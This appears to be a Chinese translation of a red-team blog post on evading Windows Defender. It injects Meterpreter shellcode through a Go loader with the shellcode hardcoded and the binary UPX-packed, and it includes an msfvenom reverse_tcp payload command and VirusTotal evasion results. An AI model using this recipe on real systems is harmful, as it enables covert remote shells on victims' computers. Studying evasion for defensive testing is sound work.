使用Golang免杀Tips
在此文章中,将详细介绍一个很酷的小技巧,它涉及如何绕过大多数防病毒产品以在目标主机上获得Metepreter反向shell.
这一切始于遇到用Golang编写的Github存储库时,该存储库在执行时会将shellcode注入正在运行的进程中.
https://github.com/brimstone/go-shellcode
通过简单地使用msfvenom生成有效负载,我们对其进行了测试,发现Windows Defender可以轻松检测到该有效负载.Meterpreter有效负载生成如下:
msfvenom -p Windows / x64 / meterpreter / reverse_tcp LHOST = xxxx LPORT = xxx -b x00 -f hex
使用Go进行本实验的好处是,可以将其从Linux主机交叉编译为目标Windows主机.编译应用程序的命令是:
GOOS=windows GOARCH=amd64 go build
这将产生一个Go exe文件,该文件将在命令行中与攻击者想要注入的shellcode一起执行.
这很容易检测到,Windows Defender毫无困难地将其识别为Meterpreter.为了快速,轻松地绕过,我们尝试使用UPX暴力破解可执行文件,将其重复压缩8次.Windows Defender再次抓住了它,这里也没有运气.
尝试使用shellcode作为参数运行Go exe文件.
如常所愿,Windows Defender可以轻松检测到它.然后,我们尝试使用UPX压缩的sc.exe文件,该文件也无效.
当然,Windows Defender一旦检测到该进程,就会终止Meterpreter会话.
从这里,检查了Go程序的源代码.经过一番回顾,发现可以修改main.go源文件以将shellcode作为变量然后进行编译–而不是编译.exe,然后将shellcode作为命令行参数添加.
go-shellcode/cmd/sc/main.go source
修改后的
go-shellcode/cmd/sc/main.go source
其中对命令行参数的引用替换为已声明的变量.
使用这些文件,编译了两个.exe文件,其中一个要在不使用UPX压缩的情况下进行测试,而另一个要在UPX压缩的情况下进行测试.Windows Defender触摸到磁盘后,便会立即检测到非压缩版本,但不会通过静态分析检测到UPX压缩的.exe.
Windows Defender立即检测到没有UPX压缩的.exe包含Meterpreter有效负载.
但是,运行自定义UPX压缩的.exe文件成功,并且实现了反向Shell
成功运行UPX压缩的Go exe文件,并且在受害者的计算机上获得了反向外壳.
让我们针对VT运行它,以检查其免杀能力.
将UPX压缩的Go exe文件上传到Virus Total.只有Cybereason和Cylance将该文件检测为恶意文件.
只有两个防病毒引擎在该文件中发现有恶意负载,并且两个都没有指定上载到底是恶意的,只是它是恶意的.UPX压缩可能是触发警报的原因,因为UPX压缩可用于混淆恶意文件.
暴力模式下的UPX压缩将exe文件压缩8次.
原文翻译至
https://labs.jumpsec.com/2019/06/20/bypassing-antivirus-with-golang-gopher-it/
参考文章
https://github.com/brimstone/go-shellcode
https://boyter.org/posts/trimming-golang-binary-fat/
https://blog.filippo.io/shrink-your-go-binaries-with-this-one-weird-trick/
渗透测试 红队攻防 免杀 权限维持 等等技术 及时分享最新漏洞复现以及EXP 国内外最新技术分享!!!
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- HDU 5806
- B - They Are Everywhere CodeForces - 701C
- 尺取练习 -A - A - Stages (水题压压惊)
- 填坑-回溯-预习 之 二分-尺取大总结
- 深入浅出理解动态规划(一) | 交叠子问题
- 深入浅出理解动态规划(二) | 最优子结构
- 用x种方式求第n项斐波那契数,99%的人只会第一种
- 面试官:手撕十大排序算法,你会几种?
- 如何在Integer类型的ArrayList中同时添加String、Character、Boolean等类型的数据?
- Java开发岗面试题--基础篇(一)
- leetcode链表之找出倒数第k个节点
- MAC下安装nginx的正确姿势 实践笔记
- 关于 ThreadLocal 你需要知道的几点
- 关于Guava ForwardingMap
- http post Request header is too large 开发环境和线上版本解决方案